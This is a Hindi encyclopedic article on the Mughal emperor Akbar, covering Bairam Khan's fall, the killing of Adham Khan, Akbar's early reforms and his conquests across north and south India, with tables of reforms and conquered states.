अकबर भी अब 18 वर्ष का हो रहा था। वह बैरम ख़ाँ के हाथों की कठपुतली बनकर रहना नहीं चाहता था। उधर बैरम ख़ाँ ने भी अपने आप को सर्वेसर्वा बना लिया था। इसके कारण उसके दुश्मनों की संख्या बढ़ गई थी। दरबार में एक-दूसरे के ख़ून के प्यासे दो दल बन गए थे। जिनमें से विरोधी दल के सिर पर अकबर का हाथ था। बैरम ख़ाँ की तलवार और राजनीति ने अन्त में हार खाई। वह पकड़कर अकबर के सामने उपस्थित किया गया। अकबर ने कहा, “ख़ानबाबा अब तीन ही रास्ते हैं। जो पसन्द हो, उसे आप स्वीकार करो: (1)राजकाज चाहते हो, तो चँदेरी और कालपी के ज़िले ले लो, वहाँ जाकर हुकूमत करो। (2) दरबारी रहना पसन्द है, तो मेरे पास रहो, तुम्हारा दर्जा और सम्मान पहले जैसा ही रहेगा। (3) यदि हज करना चाहते हो, तो उसका प्रबन्ध किया जा सकता है।” ख़ानख़ाना ने तीसरी बात मंज़ूर कर ली।

हज के लिए जहाज़ पकड़ने वह समुद्र की ओर जाता हुआ, पाटन (गुजरात) में पहुँचा। जनवरी, 1561 में विशाल सहसलंग सरोवर में नाव पर सैर कर रहा था। शाम की नमाज़ का वक़्त आ गया। ख़ानख़ाना किनारे पर उतरा। इसी समय मुबारक ख़ाँ लोहानी तीस-चालीस पठानों के साथ मुलाकात करने के बहाने वहाँ आ गया। बैरम ख़ाँ हाथ मिलाने के लिए आगे बढ़ा। लोहानी ने पीठ में खंजर मारकर छाती के पार कर दिया। ख़ानख़ाना वहीं गिरकर तड़पने लगा। लोहानी ने कहा-माछीवाड़ा में तुमने मेरे बाप को मारा था, उसी का बदला आज हमने ले लिया। बैरम ख़ाँ का बेटा और भावी हिन्दी का महान कवि अब्दुर्रहीम उस समय चार साल का था। अकबर को मालूम हुआ। उसने ख़ानख़ाना की बेगमों को दिल्ली बुलवाया। बैरम ख़ाँ की बीबी तथा अपनी फूफी (गुलरुख बेगम) की लड़की सलीमा सुल्तान के साथ स्वयं विवाह करके बैरम ख़ाँ के परिवार के साथ घनिष्ठता स्थापित की। सलीमा बानू अकबर की बहुत प्रभावशाली बेगमों में से थी।

अदहम ख़ाँ की हत्या

16 मई, 1562 ई. की दोपहर को अकबर महल में आराम कर रहा था। शम्शुद्दीन मुहम्मद अतगा के मंत्री बनाये जाने से माहम अनगा बहुत नाराज़ थी। उसका नालायक़ बेटा अदहम ख़ाँ गुस्से से पागल हो गया था। अनगा के सम्बन्धी और हितमित्र डरने लगे कि शासन उनके हाथ में नहीं रहेगा, इसीलिए कुछ करना चाहिए। मुनअम ख़ाँ और अफ़सरों के साथ शम्शुद्दीन दरबार में बैठा कार्य करने में लगा हुआ था। इसी समय वहाँ पर अदहम ख़ाँ आ धमका। शम्शुद्दीन उसके सम्मान के लिए खड़ा हो गया, लेकिन उसे स्वीकार करने की जगह अदहम ख़ाँ ने कटार निकाल ली। उसके इशारे पर उसके दो आदमियों ने शम्शुद्दीन मुहम्मद अतगा पर वार किया। अतगा वहीं आँगन में गिर पड़ा। हल्ला-गुल्ला अकबर के कमरे तक पहुँचा। अदहम ख़ाँ ने चाहा कि अकबर को भी इसी समय समाप्त कर दूँ, लेकिन शाही नौकरों ने दरवाज़े को भीतर से बन्द कर दिया। अकबर को ख़बर मिली, तो वह दूसरे दरवाज़े से तलवार लिए बाहर निकला। अदहम ख़ाँ को देखते ही उसने पूछा, ‘शम्शुद्दीन मुहम्मद अतगा को तुमने क्यों मारा?’ अदहम ख़ाँ ने बहाना करते हुए अकबर का हाथ पकड़ लिया। अकबर ने हाथ खींचना चाहा, अदहम ख़ाँ ने बादशाह की तलवार पकड़नी चाही। अकबर ने ज़ोर का मुक्का मारा, जिससे अदहम ख़ाँ बेहोश होकर गिर पड़ा। अकबर ने आदमियों को हुक्म दिया, ‘इसे बाँधकर महल के परकोटे से नीचे गिरा दो।’ हुकुम की पाबन्दी आधे दिल से की गई, जिससे अदहम ख़ाँ मरा नहीं। अकबर ने दुबारा हुकुम दिया और आदमियों ने पकड़कर फिर से अदहम ख़ाँ को नीचे गिराया। अदहम ख़ाँ की गर्दन टूट गई, खोपड़ी फाड़कर उसका भेजा बाहर निकल आया। अदहम ख़ाँ के काम में सहानुभूति रखने वाले मुनअम ख़ाँ, उसका दोस्त शहाबुद्दीन और दूसरे अमीर जान बचाकर भाग गए।

माहम अनगा की मृत्यु

अकबर अन्त:पुर में गया। माहम अनगा चारपाई पर बीमार पड़ी थी। उसने संक्षेप में सारी बात बतला दी, यद्यपि साफ़ नहीं कहा कि अदहम ख़ाँ मर चुका है। माहम अनगा ने इतना ही कहा, ‘हुज़ूर ने अच्छा किया।’ माहम अनगा को इसका इतना ज़बर्दस्त आघात लगा कि चालीस दिन बाद उसने भी अपने बेटे का अनुगमन किया। अकबर ने कुतुबमीनार के पास माँ बेटे के लिए एक सुन्दर मक़बरा बनवा दिया। अदहम ख़ाँ और उसकी माँ के मरने के साथ अब अकबर पूरी तरह से स्वतंत्र हो गया था।

साहसी व्यक्तित्व

अकबर का दरबार वैभवशाली था। उसकी लंबी चौड़ी औपचारिकताएं दूसरे लोगों और अकबर के बीच के अंतर को उजागर करती थीं, हालांकि वह दरबारी घेरे के बाहर जनमत विकसित करने के प्रति सजग था। हर सुबह वह लोगों को दर्शन देने व सम्मान पाने के लिए एक खुले झरोखे में खड़ा होता था। अकबर का व्यक्तित्व कितना साहसी था, इस बात का अन्दाज़ा नीचे दिये कुछ प्रसंगों द्वारा आसानी से लगाया जा सकता है।

पहला प्रसंग

मालवा का काम ठीक करके 38 दिनों के बाद अकबर (4 जून, 1561 ई.) को आगरा वापस लौट आया। गर्मियों का दिन था, लौटते वक़्त रास्ते में नरवर के पास के जंगलों में शिकार करने गया और पाँच बच्चों के साथ एक बाघिन को तलवार के एक वार से मार दिया।

दूसरा प्रसंग

इसी समय एक और भी ख़तरा उसने आगरा में मोल लिया। हेमू का हाथी 'हवाई' बहुत ही मस्त और ख़तरनाक था। एक दिन अकबर को उस पर सवारी करने की धुन सवार हुई। दो-तीन प्याले चढ़ाकर वह उसके ऊपर चढ़ गया। इतने से सन्तोष न होने पर उसने मुकाबले के दूसरे हाथी 'रनबाघा' से भिड़न्त करा दी। रनबाघा, हवाई के प्रहार को बर्दास्त न कर पाने के कारण जान बचाकर भागा। हवाई भी उसे छोड़ने के लिए तैयार नहीं था। अकबर हवाई के कंधे पर बैठा रहा। रनबाघा के पीछे-पीछे हवाई यमुना नदी के खड़े किनारे से नीचे की ओर दौड़ा। नावों का पुल पहाड़ों के नीचे कैसे टिक सकता था? पुल डूब गया। यमुना पार आगे-आगे रनबाघा भागा जा रहा था और उसके पीछे-पीछे हवाई। लोग साँस रोककर यह ख़ूनी तमाशा देख रहे थे। अकबर ने अपने ऊपर काबू रखते हुए हवाई को रोकने की कोशिश की और अन्त में वह सफल हुआ।

अकबरनामा के अनुसार आगरा क़िले का निर्माण होता देखते सम्राट अकबर
तीसरा प्रसंग

1562 ई. की भी अकबर के जीवन की एक घटना है। साकित परगना, (ज़िला एटा) के आठ गाँवों के लोग बड़े ही सर्कस थे। अकबर ने स्वयं उन्हें दबाने का निश्चय किया। एक दिन शिकार करने के बहाने वह निकला। डेढ़-दो सौ सवारों और कितने ही हाथी उसके साथ थे। बागी चार हज़ार थे, लेकिन अकबर ने उनकी संख्या की परवाह नहीं की। उसने देखा, शाही सवार आगा-पीछा कर रहे हैं। फिर क्या था? अपने हाथी दलशंकर पर चढ़कर वह अकेले परोख गाँव के एक घर की ओर बढ़ा। ज़मीन के नीचे अनाज की बखार थी, जिस पर हाथी का पैर पड़ा और वह फँसकर लुढ़क गया। दुश्मन बाणों की वर्षा कर रहे थे। पाँच बाण ढाल में लगे। अकबर बेपरवाह होकर हाथी को निकालने में सफल हुआ और मकान की दीवार को तोड़ते हुए भीतर घुसा। घरों में आग लगा दी गई। एक हज़ार बागी उसी में जल मरे।

अकबर पर घातक आक्रमण

1564 ई. के आरम्भ में अकबर दिल्ली गया। 11 जुलाई को निज़ामुद्दीन औलिया के मक़बरे की ज़ियारत करके लौटते समय माहम अनगा के बनवाये मदरसे के पास गुज़र रहा था। उसी समय मदरसे के कोठे से एक हब्शी ग़ुलाम फ़ौलाद ने तीर मारा। कन्धे के भीतर घुस गए तीर को तुरन्त निकाल लिया गया और हब्शी भी पकड़ा गया। बाद में पता लगा कि, हब्शी फ़ौलाद, शाह अबुल मआली के मित्र मिर्ज़ा शरफ़ुद्दीन का ग़ुलाम है। दिल्ली के शरीफ़ परिवारों की कुछ सुन्दरियों को अकबर ने अपने अन्त:पुर में डाल लिया। मध्य एशिया में जिस सुन्दरी पर बादशाह की नज़र पड़ जाती थी, पति उसे तलाक़ देकर बादशाह को प्रदान कर देता था। अकबर ने एक शेख़ को अपनी तरुण पत्नी को तलाक़ देने के लिए मजबूर किया था। इज्जत का सवाल था, इसीलिए फ़ौलाद ने तीर मारा था। लोगों ने फ़ौलाद से पूछताछ करके जानकारी प्राप्त करनी चाही। अकबर ने रोककर कहा, ‘न जाने यह किन-किन के ऊपर झूठी तोहमत लगायेगा।’ फ़ौलाद को मृत्युदण्ड दिया गया। घायल अकबर घोड़े पर सवार होकर महल में लौट आया और दस दिन बाद अच्छा हो जाने पर आगरा लौटा। 21 साल की आयु में ऐसे घातक आक्रमण के बाद भी अपने विवेक को न खोना यह बतलाता है कि, अकबर असाधारण पुरुष था।

अकबर के प्रारम्भिक सुधार

अकबर ने अपने राज्य में कई सुधार किए थे। मुग़लकालीन शासन व्यवस्था में उसका महत्त्वपूर्ण स्थान है। उसके समय में किए गए कुछ सुधार इस प्रकार से हैं-

  1. युद्ध में बन्दी बनाये गये व्यक्तियों के परिवार के सदस्यों को दास बनाने की परम्परा को तोड़ते हुए अकबर ने दास प्रथा पर 1562 ई. से पूर्णतः रोक लगा दी।
  2. प्रारंभ में अकबर ‘हरम दल’ के प्रभाव में था। इस दल के प्रमुख सदस्य-धाय माहम अनगा, जीजी अनगा, अदहम ख़ाँ, मुनअम ख़ाँ, शिहाबुद्दीन अहमद ख़ाँ थे। जब तक अकबर ने इस दल के प्रभाव में काम किया, तब तक के शासन को ‘पेटीकोट सरकार’ व ‘पर्दा शासन’ भी कहा जाता है।
  3. अगस्त, 1563 ई. में अकबर ने विभिन्न तीर्थ स्थलों पर लगने वाले ‘तीर्थ यात्रा कर’ की वसूली को बन्द करवा दिया।
  4. मार्च, 1564 ई. में अकबर ने ‘जज़िया कर’, जो ग़ैर-मुस्लिम जन से व्यक्ति कर के रूप में वसूला जाता था, को बन्द करवा दिया।
  5. 1571 ई. में अकबर ने फ़तेहपुर सीकरी को अपनी राजधानी बनाया। 1583 ई. में अकबर ने एक नया कैलेण्डर इलाही संवत् जारी किया।
  6. अकबर ने सती प्रथा पर रोक लगाने का प्रयास किया, विधवा विवाह को प्रोत्साहित किया।
  7. लड़कों के विवाह की न्यूनतम आयु 16 वर्ष तथा लड़कियों के विवाह की न्यूनतम आयु 14 वर्ष निर्धारित की गई।

साम्राज्य विस्तार

अकबर के कुछ महत्त्वपूर्ण कार्य
वर्ष कार्य
1562 ई. दास प्रथा का अन्त
1562 ई. अकबर की ‘हरमदल’ से मुक्ति
1563 ई. तीर्थ यात्रा कर समाप्त
1564 ई. जज़िया कर समाप्त
1565 ई. धर्म परिवर्तन पर पाबंदी
1571 ई. फ़तेहपुर सीकरी की स्थापना
1571 ई. राजधानी आगरा से फ़तेहपुर सीकरी स्थानान्तरित
1575 ई. इबादत खाने की स्थापना
1578 ई. इबादत खाने में सभी धर्मों का प्रवेश
1579 ई. ‘मज़हर’ की घोषणा
1582 ई. दीन-ए-इलाही’ की घोषणा
1582 ई. सूर्य पूजा व अग्नि पूजा का प्रचलन कराया
1583 ई. इलाही संवत् की स्थापना

अकबर का साम्राज्य विस्तार दो वर्गों में विभाजित किया जा सकता हैं-

  1. उत्तर भारत की विजय और
  2. दक्षिण भारत की विजय

उत्तर भारत की विजय

पानीपत युद्ध के बाद 1559 ई. में अकबर ने ग्वालियर पर, 1560 ई. में उसके सेनापति जमाल ख़ाँ ने जौनपुर पर तथा 1561 ई. में आसफ ख़ाँ ने चुनार के क़िले पर अधिकार कर लिया।

मालवा विजय

यहाँ के शासक बाज बहादुर को 1561 ई. में अदहम ख़ाँ के नेतृत्व में मुग़ल सेना ने परास्त कर दिया। 29 मार्च, 1561 ई. को मालवा की राजधानी ‘सारंगपुर’ पर मुग़ल सेनाओं ने अधिकार कर लिया। अकबर ने अदहम ख़ाँ को वहाँ की सूबेदारी सौंपी। 1562 ई. में पीर मुहम्मद मालवा का सूबेदार बना। यह एक अत्याचारी प्रवृति का व्यक्ति था। बाज बहादुर ने दक्षिण के शासकों के सहयोग से पुनः मालवा पर अधिकार कर लिया। पीर मुहम्मद भागते समय नर्मदा नदी में डूब कर मर गया। इस बार अकबर ने अब्दुल्ला ख़ाँ उजबेग को बाज बहादुर को परास्त करने के लिए भेजा। बाज बहादुर ने पराजित होकर अकबर की अधीनता स्वीकार कर अकबर के दरबार में द्वि-हज़ारी मनसब प्राप्त किया। 1564 ई. में अकबर ने गोंडवाना विजय हेतु ‘आसफ ख़ाँ’ को भेजा। तत्कालीन गोंडवाना राज्य की शासिका व महोबा की चन्देल राजकुमारी ‘रानी दुर्गावती’, जो अपने अल्पायु पुत्र ‘वीरनारायण’ की संरक्षिका के रूप में शासन कर रही थी, ने आसफ ख़ाँ के नेतृत्व वाली मुग़ल सेना का डट कर मुकाबला किया। अन्ततः माँ और पुत्र दोनों वीरगति को प्राप्त हुए। 1564 ई. में गोंडवाना मुग़ल साम्राज्य के अधीन हो गया।

राजस्थान विजय

राजस्थान के राजपूत शासक अपने पराक्रम, आत्सम्मान एवं स्वतन्त्रता के लिए प्रसिद्ध थे। अकबर ने राजपूतों के प्रति विशेष नीति अपनाते हुए उन राजपूत शासकों से मित्रता एवं वैवाहिक सम्बन्ध स्थापित किये, जिन्होंने उसकी अधीनता स्वीकार कर ली। किन्तु जिन्होंने अधीनता स्वीकार नहीं की, उनसे युद्ध के द्वारा अधीनता स्वीकार करवाने का प्रयत्न किया।

  • आमेर (जयपुर) - 1562 ई. में अकबर द्वारा अजमेर की शेख मुईनुद्दीन चिश्ती की दरगाह की यात्रा के समय उसकी मुलाकात आमेर के शासक राजा भारमल से हुई। भारमल प्रथम राजपूत शासक था, जिसने स्वेच्छा से अकबर की अधीनता स्वीकार की। कालान्तर में भारमल या बिहारीमल की पुत्री से अकबर ने विवाह कर लिया, जिससे जहाँगीर पैदा हुआ। अकबर ने भारमल के पुत्र (दत्तक) भगवानदास एवं पौत्र मानसिंह को उच्च मनसब प्रदान किया।
  • मेड़ता - यहाँ का शासक जयमल मेवाड़ के राजा उदयसिंह का सामन्त था। मेड़ता पर आक्रमण के समय मुग़ल सेना का नेतृत्व सरफ़ुद्दीन कर रहा था। उसने जयमल एवं देवदास से मेड़ता को छीनकर 1562 ई. में मुग़लों के अधीन कर दिया।
  • मेवाड़ - ‘मेवाड़’ राजस्थान का एक मात्र ऐसा राज्य था, जहाँ के राजपूत शासकों ने मुग़ल शासन का सदैव विरोध किया। अकबर का समकालीन मेवाड़ शासक सिसोदिया वंश का राणा उदयसिंह था, जिसने मुग़ल सम्राट अकबर की अधीनता स्वीकार नहीं की। अकबर ने मेवाड़ को अपने अधीन करने के लिए 1567 ई. में चित्तौड़ के क़िले पर आक्रमण कर दिया। उदयसिंह क़िले की सुरक्षा का भार जयमल एवं फत्ता (फ़तेह सिंह) को सौंप कर समीप की पहाड़ियों में खो गया। इन दो वीरों ने बड़ी बहादुरी से मुग़ल सेना का मुकाबला किया अन्त में दोनों युद्ध क्षेत्र में वीरगति को प्राप्त हुए। अकबर ने क़िले पर अधिकार के बाद लगभग 30,000 राजपूतों का कत्ल करवा दिया। यह नरसंहार अकबर के नाम पर एक बड़े धब्बे के रूप में माना गया, जिसे मिटाने के लिए अकबर ने आगरा क़िले के दरवाज़े पर जयमल एवं फत्ता की वीरता की स्मृति में उनकी प्रस्तर मूर्तियाँ स्थापित करवायीं। 1568 ई. में मुग़ल सेना ने मेवाड़ की राजधानी एवं चित्तौड़ के क़िले पर अधिकार कर लिया। अकबर ने चित्तौड़ की विजय के स्मृतिस्वरूप वहाँ की महामाता मंदिर से विशाल झाड़फानूस अवशेष आगरा ले आया।
  • रणथंभौर विजय - रणथंभौर के शासक बूँदी के हाड़ा राजपूत सुरजन राय से अकबर ने 18 मार्च, 1569 ई. में दुर्ग को अपने क़ब्ज़े में ले लिया।
  • कालिंजर विजय - उत्तर प्रदेश के बांदा ज़िले में स्थित यह क़िला अभेद्य माना जाता था। इस पर रीवा के राजा रामचन्द्र का अधिकार था। मुग़ल सेना ने मजनू ख़ाँ के नेतृत्व में आक्रमण कर कालिंजर पर अधिकार कर लिया। राजा रामचन्द्र को इलाहाबाद के समीप एक जागीर दे दी गयी।

1570 ई. में मारवाड़ के शासक रामचन्द्र सेन, बीकानेर के शासक कल्याणमल एवं जैसलमेर के शासक रावल हरराय ने अकबर की अधीनता स्वीकार की। इस प्रकार 1570 ई. तक मेवाड़ के कुछ भागों को छोड़कर शेष राजस्थान के शासकों ने मुग़ल अधीनता स्वीकार कर ली। अधीनता स्वीकार करने वाले राज्यों में कुछ अन्य थे- डूंगरपुर, बांसवाड़ा एवं प्रतापगढ़।

गुजरात विजय (1572-73 ई.)

गुजरात एक समृद्ध, उन्नतिशील एवं व्यापारिक केन्द्र के रूप में प्रसिद्ध था। इसलिए अकबर इसे अपने अधिकार में करने हेतु उत्सुक था। सितम्बर 1572 ई. में अकबर ने स्वयं ही गुजरात को जीतने के लिए प्रस्थान किया। उस समय गुजरात का शासक मुजफ्फर ख़ाँ तृतीय था। लगभग डेढ़ महीने के संघर्ष के बाद 26 फ़रवरी, 1573 ई. तक अकबर ने सूरत, अहमदाबाद एवं कैम्बे पर अधिकार कर लिया। अकबर ‘ख़ाने आजम’ मिर्ज़ा अजीज कोका को गुजरात का गर्वनर नियुक्त कर वापस आगरा आ गया, किन्तु उसके आगरा पहुँचते ही सूचना मिली कि, गुजरात में मुहम्मद हुसैन मिर्ज़ा ने विद्रोह कर दिया है। अतः तुरन्त ही अकबर ने गुजरात की ओर मुड़कर 2 सितम्बर, 1573 ई. को विद्रोह को कुचल दिया। अकबर के इस अभियान को स्म्थि ने ‘संसार के इतिहास का सर्वाधिक द्रुतगामी आक्रमण’ कहा है। इस प्रकार गुजरात अकबर के साम्राज्य का एक पक्का अंग बन गया। उसके वित्त तथा राजस्व का पुनर्सगंठन टोडरमल ने किया, जिसका कार्य उस प्रान्त में सिहाबुद्दीन अहमद ने 1573 ई. से 1584 ई. तक किया। गुजरात में ही अकबर सर्वप्रथम पुर्तग़ालियों से मिला और यहीं पर उसने पहली बार समुद्र को देखा।

बिहार एवं बंगाल पर विजय (1574-1576 ई.)

बिहार एवं बंगाल पर सुलेमान कर्रानी अकबर की अधीनता में शासन करता था। कर्रानी की मृत्यु के बाद उसके पुत्र दाऊद ने अपनी स्वतन्त्रता की घोषणा कर दी। अकबर ने मुनअम ख़ाँ के नेतृत्व में मुग़ल सेना को दाऊद को पराजित करने के लिए भेजा, साथ ही मुनअम ख़ाँ की सहायता हेतु खुद भी गया। 1574 ई. में दाऊद बिहार से बंगाल भाग गया। अकबर ने बंगाल विजय का सम्पूर्ण दायित्व मुनअम ख़ाँ को सौंप दिया और वापस फ़तेहपुर सीकरी आ गया। मुनअम ख़ाँ ने बंगाल पहुँचकर दाऊद को सुवर्ण रेखा नदी के पूर्वी किनारे पर स्थित ‘तुकराई’ नामक स्थान पर 3 मार्च, 1575 ई. को परास्त किया। दाऊद की मृत्यु जुलाई, 1576 ई.में हो गई। इस तरह से बंगाल एवं बिहार पर मुग़लों का अधिकार हो गया।

हल्दीघाटी का युद्ध (18 जून, 1576 ई.)

उदय सिंह की मृत्यु के बाद मेवाड़ का शासक महाराणा प्रताप हुआ। अकबर ने मेवाड़ को पूर्णरूप से जीतने के लिए अप्रैल, 1576 ई. में आमेर के राजा मानसिंह एवं आसफ ख़ाँ के नेतृत्व में मुग़ल सेना को आक्रमण के लिए भेजा। दोनों सेनाओं के मध्य गोगुडा के निकट अरावली पहाड़ी की ‘हल्दी घाटी’ शाखा के मध्य हुआ। इस युद्ध में राणाप्रताप पराजित हुए। उनकी जान झाला के नायक की निःस्वार्थ भक्ति के कारण बच सकी, क्योंकि उसने अपने को राणा घोषित कर शाही दल के आक्रमण को अपने ऊपर ले लिया था। राणा ने चेतक पर सवार होकर पहाड़ियों की ओर भाग कर आश्रय लिया। यह अभियान भी मेवाड़ पर पूर्ण अधिकार के बिना ही समाप्त हो गया। 1597 ई. में राणा प्रताप की मृत्यु के बाद उनका पुत्र अमर सिंह उत्तराधिकारी हुआ। उसके शासन काल 1599 ई. में मानसिंह के नेतृत्व में एक बार फिर मुग़ल सेना ने आक्रमण किया। अमर सिंह की पराजय के बाद भी मेवाड़ अभियान अधूरा रहा, जिसे बाद में जहाँगीर ने पूरा किया।

काबुल विजय (1581 ई.)

मिर्ज़ा हकीम, जो रिश्ते में अकबर का सौतेला भाई था, ‘काबुल’ पर स्वतन्त्र शासक के रूप में शासन कर रहा था। सम्राट बनने की महत्वाकांक्षा में उसने पंजाब पर आक्रमण किया। उसके विद्रोह को कुचलने के लिए अकबर ने 8 फ़रवरी, 1581 ई. को एक बृहद सेना के साथ अफ़ग़ानिस्तान की ओर प्रस्थान किया। अकबर के आने का समाचार सुनकर मिर्ज़ा हाकिम काबुल की ओर वापस हो गया। 10 अगस्त 1581 ई. को अकबर ने मिर्ज़ा की बहन बख्तुन्निसा बेगम को काबुल की सूबेदारी सौंपी। कालान्तर में अकबर ने काबुल को साम्राज्य में मिला कर मानसिंह को सूबेदार बनाया।

कश्मीर विजय (1585-1586 ई.)

अकबर द्वारा जीते गए राज्य
राज्य शासक वर्ष मुग़ल सेनापति
मालवा बाज बहादुर 1561 ई. अदमह ख़ाँ, पीर मुहम्मद
मालवा - 5262 ई. अब्दुल्ला ख़ाँ
चुनार - 1561 ई. आसफ़ ख़ाँ
गोंडवाना वीरनारायण एवं दुर्गावती 1564 ई. आसफ़ ख़ाँ
आमेर भारमल 1562 ई. स्वयं अधीनता स्वीकार की
मेड़ता जयमल 1562 ई. सरफ़ुद्दीन
मेवाड़ उदयसिंह 1568 ई. स्वयं अकबर
मेवाड़ राणा प्रताप 1576 ई. मानसिंह, आसफ़ ख़ाँ
रणथम्भौर सुरजन हाड़ा 1569 ई. भगवानदास, अकबर
कालिंजर रामचन्द्र 1569 ई. मजनू ख़ाँ काकशाह
मारवाड़ राव चन्द्रसेन 1570 ई. स्वेच्छा से अधीनता स्वीकार की
गुजरात मुजफ़्फ़र ख़ाँ तृतीय 1571 ई. ख़ानकला, ख़ाने आजम
बिहार-बंगाल दाऊद ख़ाँ 1574-1576 मुनअम ख़ाँ ख़ानख़ाना
काबुल हकीम मिर्ज़ा 1581 ई. मानसिंह एवं अकबर
कश्मीर यूसुफ़ व याकूब ख़ाँ 1586 ई. भगवानदास, कासिम ख़ाँ
सिंध जानी बेग 1591 ई. अब्दुर्रहीम ख़ानख़ाना
उड़ीसा निसार ख़ाँ 1590-1591 ई. मानसिंह
बलूचिस्तान पन्नी अफ़ग़ान 1595 ई. मीर मासूम
कंधार मुजफ़्फ़र हुसैन मिर्ज़ा 1595 ई. शाहबेग
ख़ानदेश अली ख़ाँ 1591 ई. स्वेच्छा से अधीनता स्वीकार की
दौलताबाद चाँदबीबी 1599 ई. मुराद, रहीम, अबुल फ़ज़ल एवं अकबर
अहमदनगर बहादुरशाह, चाँदबीबी 1600 ई. -
असीरगढ़ मीरन बहादुर 1601 ई. अकबर (अन्तिम अभियान)

अकबर ने कश्मीर पर अधिकार करने के लिए भगवान दास एवं कासिम ख़ाँ के नेतृत्व में मुग़ल सेना को भेजा। मुग़ल सेना ने थोड़े से संघर्ष के बाद यहाँ के शासक ‘युसुफ ख़ाँ’ को बन्दी बना लिया। बाद में युसुफ ख़ाँ के लड़के ‘याकूब’ ने संघर्ष की शुरुआत की, किन्तु श्रीनगर में हुए विद्रोह के कारण उसे मुग़ल सेना के समक्ष आत्समर्पण करना पड़ा। 1586 ई. में कश्मीर का विलय मुग़ल साम्राज्य में हो गया।

सिंध विजय (1591 ई.)

अकबर ने अब्दुर्रहीम ख़ानख़ाना को सिंध को जीतने का दायित्व सौंपा। 1591 ई. में सिंध के शासक जानीबेग एवं ख़ानख़ाना के मध्य कड़ा संघर्ष हुआ। अन्ततः सिंध पर मुग़लों का अधिकार हो गया।

उड़ीसा विजय (1590-1592 ई.)

1590 ई. में राजा मानसिंह के नेतृत्व में मुग़ल सेना ने उड़ीसा के शासक निसार ख़ाँ पर आक्रमण कर आत्मसमर्पण के लिए विवश किया, परन्तु अन्तिम रूप से उड़ीसा को 1592 ई. में मुग़ल साम्राज्य के अधीन किया गया।

बलूचिस्तान विजय (1595 ई.)

मीर मासूम के नेतृत्व में मुग़ल सेनाओं ने 1595 ई. में बलूचिस्तान पर आक्रमण कर वहाँ के अफ़ग़ानों को हराकर उसे मुग़ल साम्राज्य में मिला लिया।

कंधार विजय (1595 ई.)

बैरम ख़ाँ के संरक्षण काल 1556-1560 ई. में कंधार मुग़लों के हाथ से निकल गया था। कंधार का सूबेदार मुजफ्फर हुसैन मिर्ज़ा कंधार को स्वेच्छा से मुग़ल सरदार शाहबेग को सौंपकर स्वयं अकबर का मनसबदार बन गया। इस तरह अकबर मेवाड़ के अतिरिक्त सम्पूर्ण उत्तरी भारत पर अधिकार करने में सफल हुआ।

अकबर की दक्षिण विजय

बहमनी राज्य के विखण्डन के उपरान्त बने राज्यों ख़ानदेश, अहमदनगर, बीजापुर एवं गोलकुण्डा को अकबर ने अपने अधीन करने के लिए 1591 ई. में एक दूतमण्डल को दक्षिण की ओर भेजा। मुग़ल सीमा के सर्वाधिक नज़दीक होने के कारण ‘ख़ानदेश’ ने मुग़ल अधिपत्य को स्वीकार कर लिया। ‘ख़ानदेश’ को दक्षिण भारत का ‘प्रवेश द्वार’ भी माना जाता है।

अहमदनगर विजय

1593 ई. में अकबर ने अहमदनगर पर आक्रमण हेतु अब्दुर्रहीम ख़ानख़ाना एवं मुराद को दक्षिण भेजा। 1594 ई. में यहाँ के शासक बुरहानुलमुल्क की मृत्यु के कारण अहमदनगर के क़िले का दायित्व बीजापुर के शासक अली आदिलशाह प्रथम की विधवा चाँदबीबी पर आ गया। चाँदबीबी ने इब्राहिम के अल्पायु पुत्र बहादुरशाह को सुल्तान घोषित किया एवं स्वयं उसकी संरक्षिका बन गई। 1595 ई. में मुग़ल आक्रमण का इसने लगभग 4 महीने तक डटकर सामना किया। अन्ततः दोनों पक्षों में 1596 ई. में समझौता हो गया। समझौते के अनुसार बरार मुग़लों को सौंप दिया गया एवं बुरहानुलमुल्क के पौत्र बहादुरशाह को अहमदनगर के शासक के रूप में मान्यता प्रदान कर दी गई। इसी युद्ध के दौरान मुग़ल सर्वप्रथम मराठों के सम्पर्क में आये। कुछ दिन बाद चाँदबीबी ने अपने को अहमदनगर प्रशासन से अलग कर दिया। वहाँ के सरदारों ने संधि का उल्लंघन करते हुए बरार को पुनः प्राप्त करना चाहा। अकबर ने अबुल फ़ज़ल के साथ मुराद को अहमदनगर पर आक्रमण के लिए भेजा। 1597 ई. में मुराद की मृत्यु हो जाने के कारण अब्दुर्रहीम ख़ानखाना एवं शहज़ादा दानियाल को आक्रमण के लिए भेजा। अकबर ने भी दक्षिण की ओर प्रस्थान किया। मुग़ल सेना ने 1599 ई. में दौलताबाद एवं 1600 ई. में अहमदनगर क़िले पर अधिकार कर लिया। चाँदबीबी ने आत्महत्या कर ली।

असीरगढ़ विजय

ख़ानदेश की राजधानी बुरहानपुर पर स्वयं अकबर ने 1599 ई. में आक्रमण किया। इस समय वहाँ का शासक मीरन बहादुर था। उसने अपने को असीरगढ़ के क़िले में सुरक्षित कर लिया। अकबर ने असीरगढ़ के क़िले का घेराव कर उसके दरवाज़े को ‘सोने की चाभी’ से खोला अर्थात अकबर ने दिल खोलकर ख़ानदेश के अधिकारियों को रुपये बांटे और उन्हें कपटपूर्वक अपनी ओर मिला लिया। 21 दिसम्बर, 1600 ई. को मीरन बहादुर ने अकबर के समक्ष आत्मसमर्पण कर दिया, परन्तु अकबर ने अन्तिम रूप से इस दुर्ग को अपने क़ब्ज़े में 6 जनवरी 1601 ई. को किया। असीरगढ़ की विजय अकबर की अन्तिम विजय थी। मीरन बहादुर को बन्दी बना कर ग्वालियर के क़िले में क़ैद कर लिया गया। 4000 अशर्फ़ियाँ उसके वार्षिक निर्वाह के लिए निश्चित की गयीं। इन विजयों के पश्चात् अकबर ने दक्षिण के सम्राट की उपाधि धारण की।

Blockquote-open.gif सभी धर्मों के सार संग्रह के रूप में अकबर ने 1582 ई. में दीन-ए-इलाही (तौहीद-ए-इलाही) या दैवी एकेश्वरवाद नामक धर्म का प्रवर्तन किया तथा उसे राजकीय धर्म घोषित कर दिया। इस धर्म का प्रधान पुरोहित अबुल फ़ज़ल था। Blockquote-close.gif

